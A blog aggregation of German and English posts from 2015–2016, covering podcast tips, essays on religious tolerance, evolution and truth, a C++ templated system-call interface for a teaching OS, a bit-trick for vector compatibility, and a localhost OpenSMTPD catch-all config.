In diesem Blog gab es vor langer Zeit schon Podcast Empfehlungen und ich möchte diese Tradition nun hier wieder aufleben lassen. Dieses mal ist die Empfehlungsliste sehr englisch-lastig.

  • Radio War Nerd ist sicherlich eine seltsame Nische, zumal es den Podcast ohne zu bezahlen nicht als rss-Feed gibt, sondern ihr ihn von Hand von Patreon pulen müsst. Als Inhalt gibt es Gespräche über aktuelle und vergangene Kriege, mit Fokus auf Strategie und Motivation. Wer verstehen will, was der eigentlich Sinn des Syrien Kriegs ist, dem sei dieser Podcast sehr empfohlen.
  • Arms Control Wonk handelt schon wieder von Waffen. Aber mehr von ihrer Entwicklung und Verbreitung als von ihrem Einsatz. Es geht um Waffenkontrollen und international kontrollierte und beschränkte Waffen, wie Atombomben, ballistische Raketen und Marschflugkörper und das komplexe System aus Kontrollen dahinter.
  • Very Bad Wizards ist ein Philosophie und Soziologie Podcast aus den USA, der sich sehr unakademisch gibt, in dem geflucht wird und die beiden Gastgeber auch nicht vor schwierigen Themen von Sodomie bis zu dem Political Correctness Wahn an amerikanischen Universitäten. Daneben geht es gerne auch um die Moralaspekte von Filmen oder Serien, wie der großartigen Serie Mr. Robot.
  • Common Sense with Dan Carlin ist ein streitbarer Kommentar zur aktuellen Politik in den USA. Wenn ihr Donald Trump gut findet, einfach dafür, dass er das System vorführt und kein Fan plumper politischer Kategorien seid, hört rein. Wem seine typisch linken Ansichten heilig sind, wird vermutlich zu oft herausgefordert.
  • Bowery Boys erzählt anekdotenreich wechselnde Kapitel aus der der Geschichte New Yorks. Mal geht es um Stadtviertel, mal um einzelne Ereignisse oder Personen, aber immer ist es lebendige Geschichte. Tipp: Während des hörens lassen sich viele Orte in GTA 4 besuchen.
  • Omega Tau ist einer dieser Maratonpodcasts, die guten Episonen brechen gerne mal die 3 Stunden Marke. Themen sind wild gestreut, aber die besonders guten sind meiner Meinung nach die Luft und Raumfahrt Episoden. Die Sprache der einzelnen Episoden wechselt semi-regelmäßig zwischen Deutsch und Englisch.

January 15, 2016

Maximilian HenryThe Future of Tolerance

Ich höre in letzter Zeit viele Podcasts von Sam Harris, schon allein, weil er ein verflucht guter Redner ist und ich stimme ihm in vielen Dingen zu. So stimme ich auch der Einschätzung zu, dass es unehrlich ist, Islamischen Terrorismus von der Religion losgelöst zu betrachten. Über ISIS zu sprechen und zu behaupten, eine Gruppe, welche alles aus heiligen Schriften ableitet, von dieser Religon zu trennen ist absurd. Aber warum sind wir überhaupt an diesem Punkt? Warum akzeptieren wir diesen Schritt?
Ich glaube, dass dies in weiten Teilen eine Folge des westlichen Verständnisses von Religionsfreiheit ist und es höchste Zeit wird, dies zu überwinden. Denn dieses Verständnis, Islamischer Terrorismus hätte nichts mit dem Islam zu tun, genau so, wie all die verbrechen, welche im Namen des Christentums nichts mit der Religion zu tun hätten, rühren von unserer religiösen Toleranz her.

Damit habe ich zwei Probleme:

  1. Religionsfreiheit und die Toleranz gegenüber Religionen mag in der Zeit der Aufklärung ein großer Schritt gewesen sein, aber langfristig ist diese Idee Gift. Alle Religionen sind Quatsch und Menschen können wunderbar auch ohne Religion leben, dass religion ein besonderer Schutz angedeihen soll, mag in Zeiten einer allgegenwärtigen Religion und religiöser Führer in Europa ein Fortschritt gewesen sein. Diesen Standpunkt als weitgehend säkulare Gesellschaft weiter aufrecht zuhalten, ist nicht nur an sich unlogisch, es führt zu vielen widersprüchlichen Positionen. So gibt es in unserer pluralistischen Gesellschaft viele sich widersprechende Religionen und doch scheint es Konsensfähig zu sein, dass es innerhalb dieser Religonen eine richtige und eine falsche Auslegung gibt. So ist die Auslegung des Christentums richtig, wenn sie von Papst, evangelischer Landessynode oder ähnlichen Einrichtungen geteilt wird und offensichtlich falsch, wenn damit Gewalt in der Ehe, gegenüber den eigenen Kindern, Homosexuellen oder Andersgläubigen begründet wird. Wohlgemerkt lässt sich alles, genau wie vermutlich jede politische Postion, mit Bibelzitaten belegen, je nach aktuellem Bedarf mal wörtlich und mal im übertragenen Sinne. Das kann doch nicht sein! Entweder wir sehen Religion als gerechtfertigt an, dann müssen wir aber auch jeden Käse, den irgendjemand sich aus seinen Heiligen Schriften pflückt akzeptieren oder aber, wir überkommen den Stand des 17. Jahrhunderts und einigen uns endlich mal darauf, dass Menschen glauben können, was sie wollen, es aber keinerlei Anspruch darauf gibt, dass wir als Gesellschaft dies ernst nehmen oder besonders beachten.

  2. Es bedarf außerdem einer Diskussion, ob Toleranz überhaupt ein hilfreiches Konzept ist. Ich zitiere aus Wikipedia:
    "Toleranz, auch Duldsamkeit, ist allgemein ein Geltenlassen und Gewährenlassen fremder Überzeugungen, Handlungsweisen und Sitten. Umgangssprachlich ist damit heute häufig auch die Anerkennung einer Gleichberechtigung gemeint, die jedoch über den eigentlichen Begriff („Duldung“) hinausgeht." Demnach hat sich die Bedeutung dieses Begriffs zwar schon weg von Duldung bewegt, aber dennoch glaube ich, dass es Hilfreich wäre, sich darüber klar zu werden, was das eigentliche Ziel ist, denn im Bereich von Religion mag Duldung genau das sein, was mir in den Sinn kommt, dulden im Sinne von ertragen, obwohl man die feste Überzeugung hat, dass es falsch ist. Aber ich möchte nicht, dass die Zukunft unseres zusammen Lebens in einer zwangsläufig immer heterogener werdenden Gesellschaft aus einem ertragen besteht.

Daneben ist mein eigentliches Problem mit Sam Harris, dass ich wirklich nicht glaube, dass für uns in der westlichen Welt der islamische Terrorismus gerade unser größtes und dringendstes Problem ist.

December 30, 2015

Christoph EggerFinally moving the Weblog

As of a few minutes ago, the old weblog on christoph-egger.org is past. I've added redirects for all the entries to the new one at weblog.siccegge.de.if you find any dead links please contact me so I can fix it up.

Note that comments are gone. I'll try to include the already present comments on the new blog some time in the future. Not sure if I will ever add a comment function again (though chronicle seems to have some support for that)

December 22, 2015

Christian DietrichA templated System-Call Interface for OO/MPStuBS

We use OOStuBS/MPStuBS in our operating system course. In the first part of our two part lecture, the students implement basic IRQ handling, coroutine switching, and synchronisation primitives. We have no spatial or privilege isolation in place, since this is topic of the second lecture part.

Still, we want to differentiate between a user space and the kernel space. On a technical level, the kernel space or system level is defined by a big kernel lock; the so called guard. If a control flow enters the guard, it transitions to the kernel and leaves the kernel, when the guard is left. The guard concept is heavily coupled with our idea of IRQ handling in epilogues (similar to bottom-halves or deferred interrupt handlers).

Our proposed implementation of the system call interface uses facade pattern to expose some of the system functionality as "Guarded Services".

class Guarded_Scheduler {
     static void resume() {
          Secure section; // does guard.enter() in constructor
          scheduler.resume();
          // guard.leave() is called on Secure destructor
     }
}

The used Secure class uses a Resource Acquisition Is Initialisation pattern to enter the guard on construction, and to leave it upon destruction of the secure object. But, as you see, coding down this pattern is cumbersome and involves a lot of boilerplate. Nobody, especially interested students, want to write boilerplate. But, our OS is implemented in C++, so we have powerful abstractions to implement a usable abstraction. In the following, I will explain, how we can implement an easily extensible system-call interface for a library operating system (everything is linked together, and we have no spatial isolation).

A First Attempt

First, we start with a "simple" templated function that can wrap every member function of an object and call with the guard taken. The actual API usage looks like this:

 syscall(&Scheduler::resume, scheduler);
 syscall(&Scheduler::kill,   scheduler, &other_thread);

The first argument to syscall() might surprise some readers, since it is a seldom used C++ feature. It is a "Pointer to Member" that captures how we can access or call a member when having the corresponding object at hand. The datatype of &Scheduler::resume is void (Scheduler::*)(), which is similar to a function pointer returning nothing and taking no arguments. &Scheduler::kill has the datatype void (Scheduler::*)(Thread *); it is a pointer to a member function, which returns nothing but takes an Thread pointer as argument. Both pointers only make sense with a Scheduler object at hand. When we have a scheduler object at hand, we can use the rarely used .* operator:

 ((scheduler).*(&Scheduler.kill))(thread)

We now can combine this concept with C++11 templates to get the described syscall function:

template<typename Func, typename Class, typename ...Args>
inline auto syscall(Func func,  Class &obj, Args&&... args) -> decltype((obj.*func)(args...)){
    Secure secure;
    return (obj.*func)(args...);
};

Huh, what happens here? Let's take this monster apart to understand its working. So, it is a function template, it generates functions depending on the types it is specialized for. You can think of this specialization process like this: the compiler has a Schablone (german word for template, but with the notion of scissors and paper) at hand. When it sees a function call to syscall() it fills the missing parts in the Schablone with the argument types and compiles the result a new function.

syscall(Func arg0, Class arg1, Args... args2_till_9001)

So, our syscall function takes at least two arguments, but can consume arbitrarily many arguments in its variadic part at the end (the Args...). The type of the first argument is bound to the type "Func", the second argument type is bound to the type "Class", all others are collected in the variadic type "Args". The func argument, which type Func, is pointer-to-member object, the obj argument the actual system object. So, now we can call the function with the other arguments.

 (obj.*func)(args...)

But, our function, still has no return type. What to do? Here comes C++ auto and decltype to the rescue. When using auto as a return type, the compiler excepts -> Type after the closing parenthesis of the function. The decltype() built-in gives the type of the enclosed expresion. So decltype((obj.*func)(args...)) is exactly the return type of the given pointer-to-member-function argument.

Furthermore, we just have to allocate a Secure object to make the guard.enter() and guard.leave() calls. Voila, a system call interface. But it still has some problems. We can call every method on every object in the whole system. We have no notion of "allowed" system calls and forbidden ones. Of course, in a library operating system with no protection this is ok. Furthermore, we always have to give the system object (e.g., scheduler) on each system call. I think, we can do better here. So let's revisit our implementation.

A second Attempt

In our second attempt, we want to restrict the system-call interface to certain classes. This gives coarse-grained control about the methods that can be called via the syscall interface. As a side-effect, we can omit the actual system-object argument such that we can write:

syscall(&Scheduler::resume)
syscall(&Scheduler::kill, that)

We implement a system_object function that returns the system-object singleton instance when called for a given type. We implement this function only for those classes, we want to allow access via syscall. This gives us some control about the possible syscall targets.

template<typename Class>
Class& system_object();

// Get the scheduler singleton
Scheduler &scheduler = system_object<Scheduler>();

The template specialization can be done in the source file and does not have to be put into the header. This allows us to hide the actual system-object symbol from the rest of the system. For example, this could be located in the thread/scheduler.cc file:

static Scheduler instance;

template<>
Scheduler &system_object() {
    return instance;
}

We still have to call this function from our system call implementation. For this, we need to have the class type of the underlying system object at hand. The only thing we have is the pointer-to-member object that identifies the desired system-call (&Scheduler::resume). But, as you remember, the class type is part of the type of such pointer-to-member types (Func). We only have to extract that information from the given type.

The concept of accessing information about types is called type traits. This is grandiloquent word for "a template that takes a type and provides several types and constants". So let's look at our type trait:

// Fail for all cases...
template<typename> struct syscall_traits;

// ..., except for deconstructing a pointer to member type
template<typename ReturnType, typename ClassType, typename ...Args>
struct syscall_traits<ReturnType(ClassType::*)(Args...)> {
    typedef ReturnType result_type;
    typedef ClassType class_type;
};

This syscall_traits is only specialized for pointer-to-member types and destructs the type of our &Scheduler::resume argument (void (Scheduler::*)()) with the pattern ReturnType (ClassType::*)(Args...). As you see, the templates does only pattern matching on types and binds types to template parameters. This can generally said for templates: The <>-line after the template keyword defines type variables, which can be bound later on or have to be supplied by the user. With our type trait we can simply access the instance class of our pointer-to-member argument and can call system_object():

template<typename Func, typename ...Args>
inline auto syscall(Func func, Args&&... args) -> typename syscall_traits<Func>::result_type {
      // We do everything with a taken guard
      Secure secure;

      // Get traits of systemcall
      typedef typename syscall_traits<Func>::class_type system_object_type;

     // Get a singleton instance for the given base type.
     system_object_type &obj = system_object<system_object_type>();

     return (obj.*func)(args...);
};

The first thing we see is that the deduced return type has changed. It no has to use our type trait, since we have no system object at hand we can use with decltype (-> decltype((obj.*func)(args...)). Within the body of the syscall function, we use the trait to extract the system-object's class type from the Func type and call system_object to gain access to the singleton instance.

If we use syscall on a class that is not exposed via specializing system_object<>, we get an linker error and the developer is informed that he wants to do bullshit.

So, what have we achieved in the second attempt? We have a cleaner system-call interface and do not have to supply the system object directly, but it is deduced from the supplied arguments. Furthermore, only annotated classes are suitable for being called via this interface. Nevertheless, we can still call all functions on these classes. In the third attempt we want to solve this as well.

The third and final Attempt

How can we annotate functions as being system calls? The only real thing we have at hand in static C++ land are types. So we have to annotate the function type of our system call somehow. The type of a method is defined by only a few pieces of information: The argument types, the class type, and the return type. The one thing that is always there, and that is not shared among several functions is the return type. We use the return type for our annotation by wrapping it into an marker struct:

template <typename T=void> struct syscall_return;
template<> struct syscall_return<void> { void get() {}; };

template <typename T>
class syscall_return {
    T value;
public:
    syscall_return(T&& x) : value(x) {}
    operator T() { return value; }
    T get() { return value; }
};

The syscall_return wraps a type and contains a copy of it. Furthermore, it implements a get() method to access this inner object and has the cast operator for T overloaded for easier handling. The void type is special here, and has to be handled special, since it is a no-object type and cannot be instantiated.

We can no annotate functions in our Scheduler class:

struct Scheduler {
    syscall_return<void> resume() {
        printf("resume %d\n", (int)barfoo(23));
        return syscall_return<>();
    }

    virtual syscall_return<int> increment(int i) {
        return i+1;
    }
}

As you see, we have to special case for void again ("Damn you void, you and your voidness!"). But, the implicit cast via the constructor makes it easy to return all other types. But we also have to adapt the rest of our implementation. In the syscall_traits template, the matched pattern strips the syscall_return wrapper from the type. This will also cause all unwrapped return types to fail.

// ..., except for deconstructing a pointer to member type
template<typename ReturnType, typename ClassType, typename ...Args>
struct syscall_traits<syscall_return<ReturnType>(ClassType::*)(Args...)> {
    typedef ReturnType result_type;
    typedef ClassType class_type;
};

In the syscall template, we only have to additionally call .get() on the result:

template<typename Func, typename ...Args>
inline auto syscall(Func func, Args&&... args) -> typename syscall_traits<Func>::result_type {
      // We do everything with a taken guard
      Secure secure;

      // Get traits of systemcall
      typedef typename syscall_traits<Func>::class_type system_object_type;

      // Get a singleton instance for the given base type.
      system_object_type &obj = system_object<system_object_type>();

      return (obj.*func)(args...).get();
};

And voila, we have a system call interface with annotations that prevents the user to call unmarked functions via syscall. All abstractions from above come at zero run-time cost.

The only downside is that the user is still able to call the functions directly. But, this can never be solved in a library operating system.

I hope I could give you an impression what is possible with C++ templates in the context of a bare-metal operating system.

December 15, 2015

Christian DietrichTesting Three-Valued Vectors for Compatibility

For a colleagues project, we encountered the problem to check vectors of values for compatibility. The values are either set or undefined. An undefined value is compatible to everything; a set value is compatible to the same value. An example instance of this problem might look like this, when the possible values are 'a', 'b', and 'c'; undefined is indicated by 'U':

Vector 1 Vector 2
a a |
b U |
U U |
a c |

These two vectors are compatible in their first three lines, since undefined is compatible to everything. How can be test these vectors for compatibility in a fast fashion? The first simple idea is to use an char array and compare it character by character and to encode undefined as 0:

char A[] = {'a', 'b', 0, 'a'};
char B[] = {'a',  0,  0, 'c'};

bool compatible = true;
for (unsigned i = 0; i < 4; i++) {
    if (A[i] != 0 && B[i] != 0 && A[i] != B[i]) {
        compatible = false; break;
    }
}

This would do the job and is already quite fast. Nevertheless, we can do it faster. We can avoid checking three different conditions (&&) by using multiplication and the zero element property of the number zero:

if (A[i] * B[i] * (A[i] - B[i]) != 0) {
    compatible = false; break;
}

This expression is exactly then non-zero, if both elements are non-zero and their difference is non-zero, a trait that is also known as inequality. But, as we learned from our processor design lecture, multiplications are expensive. So let's search for a way to do the same without multiplication. Our advantage is, that we are not interested in the result of the multiplication, but only in its property of not-being-zero. Perhaps we can do something with bit shifts. First, we encode our three elements in a more dense way, using two bits at most:

char A[] = {1, 2, 0, 1};
char B[] = {1, 0, 0, 3};

After fiddling around at the whiteboard I can up with the following solution for 3 possible values plus the undefined vector, which works quite well for our use case:

if (((A[i] << 1) & B[i]) ^ ((B[i] << 1) & A[i]) != 0) {
    compatible = false; break;
}

This expression implements, although it is not easily visible, the required behavior. We can see this easily by looking at the truth table of the function f(a, b)=(((a << 1) & b) ^ ((b << 1) & a)) == 0

 | a | b | f(a, b)|         | a | b | f(a, b)|
 |:-:|:-:|:------:|         |:-:|:-:|:------:|
 | 0 | 0 | 1      |         | 2 | 0 | 1      |
 | 0 | 1 | 1      |         | 2 | 1 | 0      |
 | 0 | 2 | 1      |         | 2 | 2 | 1      |
 | 0 | 3 | 1      |         | 2 | 3 | 0      |
 | 1 | 0 | 1      |         | 3 | 0 | 1      |
 | 1 | 1 | 1      |         | 3 | 1 | 0      |
 | 1 | 2 | 0      |         | 3 | 2 | 0      |
 | 1 | 3 | 0      |         | 3 | 3 | 1      |

So, this is a very limited Boolean function, since it works only for 2 bit wide A/B's. But, it is fast. And the best part is that it consists only of bit operations. This means, we can put many vector values into a single machine word and compare many of them in one step. Unfortunately we have to insert padding bits between the value bits to have zeroes that can be shifted in and out. So when we encode our example from above, we get the following bit vectors:

         [0]  [1]  [2]  [3]  | int
      A  001  010  000  001  | 641
      B  001  000  000  011  | 515
 ---------------------------------
 f(A, B) 000  000  000  010  |   2

As you see, the difference occurs in the [3] columns, where our values are both set, but different. With this neat trick, we can put 21(!) values in a single 64 bit word and compare them all at once. With this optimization, I could improve the runtime of our problem from 5 minutes to 1 minute; just to give you a qualitative idea of the improvement for our (unspecified) problem. This stems as well from the more densed coding (transferring less memory) and the faster operations (bit operations are cheap).

October 24, 2015

Christian DietrichEntwicklungsziele der Menschheit

Ich trage diesen Artikel schon mehrere Monate in meinem Kopf herum; wälze einzelne Punkte hin und her und überlege was ich eigentlich schreiben möchte. Es geht mir darum zu beleuchten, wie es mit der Evolution des Menschen eigentlich weiter gehen könnte. Wo sind Punkte an denen Gehirn und Körper des Menschen an eine Welt angepasst sind, die es nicht mehr gibt?

Evolution ist ein Prozess, der nicht stillsteht. Es ist der Prozess mit dem sich das Leben durch Zufallsexperimente an neue Gegebenheiten anpasst. Millionen von zufälligen Mutationen; viele davon Schlecht und manche davon mit evolutionärem Vorteil behaftet. Mit Glück propagieren sich die hilfreichen fort.

Nun ist der Mensch in den meisten Dingen kein Spezialist, sondern ein Generalist. Oder anders gesagt: wir sind nicht besonders gut, aber von allem ein bischen. Die einzige Sache in der wir wirklich brillieren ist das Denken. Es stellt sich da die Frage, ob das überhaupt eine Spezialisierung ist oder eher eine spezialisierte Plattform für eine generalisierte Methode Probleme durch denken zu lösen.

Der Mensch hat sich an seine Umgebung über viele hunderttausend Jahre angepasst. Handlungsweisen und Instinkte haben sich entwickelt, die ein Leben in kleinen Gruppen in der "Wildnis" bei ständiger Nahrungsmittelknappheit erleichtern.

Nun hat sich aber die menschliche Gesellschaft schnell entwickelt und hat in wenigen hundert Jahren massiv an Komplexität gewonnen. Es stellt sich die Frage, was Mechanismen sind, die in der vorherigen Gesellschaft sinnvoll waren und funktioniert haben, aber uns jetzt behindern.

Ich will drei Punkte aufzählen, von denen ich mir vorstellen kann, dass der Mensch sich evolutionär anpasst. Diese Veränderungen könnten stattfinden, wenn weiterhin komplexe Gesellschaftsformationen bestehen und viele Milliarden Menschen den Planeten bevölkern. Die Zeiträume werden allerdings sehr groß sein. Aber eins ist sicher: Wieso sollte uns das unbeeinflusst lassen?

Gier

In der feindlichen Natur macht es Sinn Nahrung dann aufzunehmen, wenn sie vorhanden ist. Wenn wir irgendwo Beeren gefunden haben, und sie gerade reif sind, sollten wir am besten alle zu uns nehmen. Wer mehr Nahrung zu sich nimmt und dabei fett wird, hat eine bessere Chance den nächsten Winter zu überleben. Gier nach Nahrung macht Sinn. Umso mehr ich habe, umso besser sind meine Chancen zu überleben und ich kann meine Gene weiter geben.

Was ist nun anders in der stark arbeitsteiligen Gesellschaft, in der wir Leben? Nahrung ist immer verfügbar. Kalorienreiche Nahrung ist sogar billiger, als kalorienarme Nahrung. Wir sind zudem vor dem Winter um ein vielfaches besser geschützt, als dies früher der Fall war. Es gibt also keinen Grund mehr, mehr Nahrung aufzunehmen, als wir bis zur nächsten Mahlzeit verstoffwechseln. Aber wir befinden uns weiterhin in einem andauernden Exzess; und dafür ist unsere Gier nicht ausgelegt.

Unsere Gier hat, in der Situation eines endlosen Nahrungsstroms, aber erhebliche Nachteile. Unsere Körper werden Übergewichtig und in folge davon krank. Diabetis und Adipositas werden epidemisch und belasten sowohl den einzelnen, als auch die sozialen Strukturen.

Aber unsere Gier beschränkt sich nicht nur auf Nahrung, sondern auch auf andere Konsumgüter. Ich bin mir nicht sicher inwiefern der Drang nach mehr "haben wollen" eine Übertragung der Gier nach Nahrung auf andere Güter ist. Aber man kann es sicherlich als Gier beschreiben. Dadurch betreiben wir eine systematische Ausbeutung der Ressourcen der Erde auf Kosten nachfolgender Generationen. Und wir tun dies entgegen besseren Wissens! Evolutionär völliger Käse. Jedenfalls in komplexen menschengefüllten Systemen.

Angst

Angst macht Sinn. Angst bewahrt uns vor gefährlichen Situationen. Angst bewahrt uns davor es für eine gute Idee zu halten in ein Rudel von Löwen zu gehen und sich dazukuscheln zu wollen. Angst schüttet Adrenalin aus und bereitet den Körper auf Flucht oder Kampf vor. Meistens sitzt man eh unter einem Baum und schnitzt einen Stock zu. Fliehen war die Ausnahme. Macht auch alles Sinn; jedenfalls, wenn es etwas gibt vor dem man flüchten oder gegen das man Kämpfen kann.

Aber wir werden nicht mehr von dem großen Teil der Flora und Fauna tyranisiert, sondern das Blatt hat sich gewendet. Solange wir in Gemeinschaft sind müssen wir keine Angst mehr vor den meisten Dingen der Umgebung haben.

Der Mechanismus allerdings, der ist noch da. Und er springt an. Auf viele Dinge. Angst vor Dingen die unsere Existenz garnicht in Frage stellen. Angst vor der Präsentation. Angst den Job zu verlieren. Angst verlassen zu werden. Angst das Studium nicht zu schaffen. Das sind, ohne Frage, alles unangenehme Dinge die man gerne Vermeiden möchte, aber sie werden einen in den seltensten Fällen direkt, oder auch nur indirekt, umbringen.

Stress wird häufig als andauernder Angstzustand, als ständiges angespannt sein, beschrieben. Und Stress belastet die Gesundheit. Cortisol unterdruckt das Immunsystem. Wer unter Stress stand, zeigt häufig erst dann Symptome, wenn der Stress abgeklungen ist. Und wer einmal mit Menschen, die unter einer Angststörung leiden, zu tun hatte, der weiss auch wie schlimm die Angst das Leben belasten kann.

In einer Welt, die komplex ist und die sich ständig verändert, in der ständig tausend Reize auf uns einfluten, ist es evolutionär eine dumme Idee einen ständigen Angstzustand auszulößen. Vor allem, wenn unsere Existenz von den "Gefahren" garnicht wirklich bedroht ist. Evolutionär könnten wir daher eine erhöhte Angstschwelle entwickeln.

Tod und Lebensdauer

Tod ist der evolutionäre Motor. Wer wengier angepasst ist, der hat eine höhere Mortalitätsrate. Keinen Tod mehr zu haben würde den Stillstand der Entwicklung bedeuten. Jedenfalls wenn wir von Individuuen ausgehen, die ihre Gensequenz nicht maßgeblich während ihrer Lebenszeit ändern.

Im Vergleich zu den meisten Tieren ist unsere Lebensspanne schon relativ lange. Außerdem sterben menschliche Individuen nicht kurz nach ihrer Zeugungsunfähigkeit (Grossmutter-Hypothese). Find ich persöhnlich ja auch eine gute Sache, dass das so ist.

Aber unsere Lebensspanne ist nur relativ lange im Vergleich zum Zyklus der Jahre auf der Erde. In dem Moment in dem wir die Erde verlassen wollen, ist sie unsere größte Beschränkung. Das Universum lässt es nicht zu, dass wir mit mehr als Lichtgeschwindigkeit reisen. Daher ist eigentlich unsere einzige andere Stellschraube, wie wir interstellare Reisen bei realistischen Geschwindigkeiten durchführen können, lange zu leben.

Auf lange Sicht wird es ein evolutionärer Vorteil sein sich an die Zeitskalen des Universums anzupassen. Dies mag dann sogar den Nachteil des langsameren Evolutionsmechanismus ausgleichen. Außerdem zeigt sich dann vielleicht auch ein höhreres Maß an Binnen-Evolution, bei der sich einzelne mutierte Zellen innerhalb eines Organismus als Vorteilhaft erweisen und sich durchsetzen.

October 19, 2015

johnLateSimple local catch-all mail server

You don’t need “real” mail delivery on your machine?

But you want to receive e.g. status mails from cron?

You want to get all mails originating from localhost, regardless of the recipient, so you can detect services and programs gone rogue?

Try OpenSMTPD. There’s a package for Arch Linux, here’s the manual and here’s my config (/etc/smtpd/smtpd.conf):

# To accept external mail, replace with: listen on all
listen on localhost
 
# map any recipient to my user account
table catchall { "@"="johnlate" }
 
# "listen on localhost" should already take care of this
reject from ! local
 
# apply catchall mapping
accept for any virtual <catchall> deliver to mbox
 
# default rule, if I ever change the catch all mapping
reject for any

October 06, 2015

Christian DietrichVernunft- und Tatsachenwahrheiten

Dieser Beitrag ist eine Erwiderung auf den Blogbeitrag von Maxfragg vom 5. Oktober 2015. Er hat dort beleuchtet, dass wir bisher einen "Major Consensus Narrative" (MCN) hatten, der durch die Medien vermittelt wurde. Dieser MCN behauptet von sich die "Wahrheit" zu sein; die "Tagesschauwahrheit".

Maxfragg stellte sich nun die Frage, was mit diesem MCN passiert, wenn wir eine vielfältigere Berichterstattung haben. Jeder kann sich dann seine ganz persöhnliche Wahrheit aus verschiedenen Quellen zusammenstellen, die seine Realität beschreibt. Der eine ließt SPON und schaut die Tagesschau, der andere ließt PI und glaubt an die "Lügenpresse". Brauchen wir dann noch eine Wahrheit? Darauf will ich einige Gedanken verwenden.

Zunächst will ich seinem Aufruf nachgehen, zu zeigen, dass es eine "echte" Wahrheit geben muss. Danach will ich darauf eingehen, wie Vernunft- und Tatsachenwahrheiten sich unterscheiden und die "wissenschaftliche" Wahrheit sich von der "historischen" Wahrheit unterscheiden. Das Ergebnis der Untersuchung wird sein, dass wir zwischen Wahrheiten und Hypothesenräumen unterscheiden müssen und der MCN ein Hypothesenraum ist, der die Wahrheit beinhalten kann.

Gibt es Wahrheit? Ist das überhaupt die richtige Frage? Wir tun uns schwer damit, die Frage zu beantworten, daher beantworte ich zunächst eine andere (in guter Sonnebornscher Manier): Gibt es das Gegenteil von Wahrheit? Und da müssen wir doch sagen: ja, gibt es. Bei manchen Dingen können wir uns sicher sein, dass sie nicht wahr sind, dass die Welt so nicht beschaffen ist. Ein Beispiel: Der Satz "jeder Mensch kann ohne Kopf Leben mehrere Jahre leben" ist nicht wahr. Es gibt mindestens ein Gegenbeispiel. Der Satz kann nicht wahr sein.

Zwei Hypothesenraeume

Es gibt also einen Bereich von Sätzen/Hypothesen/Aussagen die nicht wahr sind. Wir haben über die letzten 2500 Jahre die wissenschaftliche Methode entwickelt, um Hypothesen zu falsifizieren. Das Ergebnis dieser Methode ist allerdings nicht die Wahrheit an sich, sondern ein Kreis der sich immer Enger zieht. Außerhalb des Kreises sind all die falsifizierten Aussagen, innen die bisher nicht bewiesenen aber noch nicht wiederlegten Hypothesen. Die Menge innerhalb des Kreises ist ein Hypothesenraum.

Das kleine Bildchen soll das Verhältnis von Wahrheit und Hypothesenraum verdeutlichen. Die wissenschaftliche Methode ist nun ein Druck der von Aussen der auf den Hypothesenraum drückt, und versucht den Kreis enger zu ziehen. Innerhalb des Kreises nehmen wir mal einen Punkt an, der beschreibt wie die Welt wirklich ist, wie sich das Universum verhält. Also was denn tatsächlich passiert. Wir nennen diesen Punkt mal "Wahrheit", auch wenn wir ihn nicht an sich ausmachen können; wir können nur sagen wo er nicht ist.

Was sich daraus nicht direkt ergibt ist, ob es nur einen solchen Punkt gibt, oder mehrere (rechte Bildhälfte). Aber geben muss es mindestens einen, da das Universum sich ja irgendwie verhält. Bisher haben wir keine Annahme zu glauben, dass das Universum sich gleichzeitig so und so verhält. Es kann sich in jeder Situation anders verhalten, aber zu einem Zeitpunkt verhält sich das Universum auf jeden Fall irgendwie. Daher ist "eine Wahrheit" eine Hypothese, die sich bisher recht gut macht.

Gut, soweit so kompliziert. Jetzt dieses MCN Konzept. Bei Hannah Arendt habe ich die Unterscheidung zwischen Vernunftwahrheiten und Tatsachenwahrheiten gelernt (Wahrheit und Politik, H. Arendt, 1964, Tonmitschnitt von Arendt).

Vernunftwahrheiten können durch Experiment und Nachdenken jederzeit erkannt werden. In diesen Bereich fallen alle physikalischen Gesetze. Würden wir heute die Relativitätstheorie verlieren, so könnte sie in 10.000 Jahren von eine Lebenwesen auf einem anderen Planeten wieder entdeckt werden. Eine Vernunftwahrheit kann wiederholt untersucht werden, denn sie gehören zur Stuktur des Universums. Man kann sie auch "objektive Wahrheiten" nennen.

Tatsachenwahrheiten beziehen sich auf singuläre Ereignisse. So ist die Aussage, dass Konrad Adenauer Bundeskanzler war, eine Tatsachenwahrheit. Diese Klasse von Wahrheiten, sind viel leichter zu manipulieren. Arendt bringt hier das Beispiel von der Rolle Trotzkis in der Russischen Revolution. Dort hat sich Stalin an der Tatsachenwahrheit vergangen und Trotzki aus den Geschichtsbüchern getilgt. Dieses Manipulation ist besonders schändlich, da sie Wahrheiten für immer tilgt. Ein historisches Ereignis kann nur einmal "gemessen" werden. Kein Mensch kann eine Tatsachenwahrheit wiederbeleben, wenn erst einmal die perfekte Lüge von allen Menschen geglaubt wird und alle Beweise gefälscht wurden. Man könnte Tatsachenwahrheiten also auch "historische Wahrheiten" nennen.

Der Verlust des MCNs ist nun das Vorhandensein mehrerer solcher Räume die sich teilweise überlappen und unter Umständen die Tatsachenwahrheit beinhalten. Das heisst aber nicht, dass es für eine Sache keine Tatsachenwahrheit mehr gibt. Man ist nur leichter Bereit zu sagen: "ach, ist doch eh alles egal, hat doch jeder seine Wahrheit". Aber dem ist nicht so, nicht jeder hat seine Wahrheit, sondern jeder hat einen anderen Hypothesenraum. Der Wahrheit tut das keinen Abbruch, den für eine historische Wahrheit ist sicher: für den Zeitpunkt um den es geht hat sich das Universum irgendwie verhalten.

Wenn Maxfragg also jetzt über den MCN schreibt, dann bezieht sich dieser MCN meist auf historische Wahrheiten und ist ein Hypothesenraum. Dieser MCN kann nun aktiv Aussagen vertreten, die Ausserhalb des aktuellen Hypothesenraumes liegen; lügen wider besseren wissens. Der MCN übt dadurch Druck aus und verschiebt den Hypothesenraum. Mittels der perfekten Lüge verschiebt man den Raum soweit, dass die Tatsachenwahrheit sich nicht mehr innerhalb befindet. Die Tatsachenwahrheit ist für immer verloren, weil wir nicht nochmal messen können.

Wir dürfen nicht zulassen, dass wir die Tatsachenwahrheiten verlieren, denn einmal verloren, sind sie für immer vergangen.

October 05, 2015

Maximilian HenryMajor Consensus Narrative

Was bedeutet schon Wahrheit? Ist Wahrheit, was in der 20 Uhr Tagesschau berichtet wird? War das jemals die Wahrheit? Es gibt Anhaltspunkte, die nahelegen, dass das zumindest das war, was viele von uns heute für die Wahrheit halten. Ich glaube, dass es durchaus wichtig für eine Gesellschaft ist, dass sie eine gewisse Einigkeit darüber hat, was denn nun wahr ist, und was nicht.
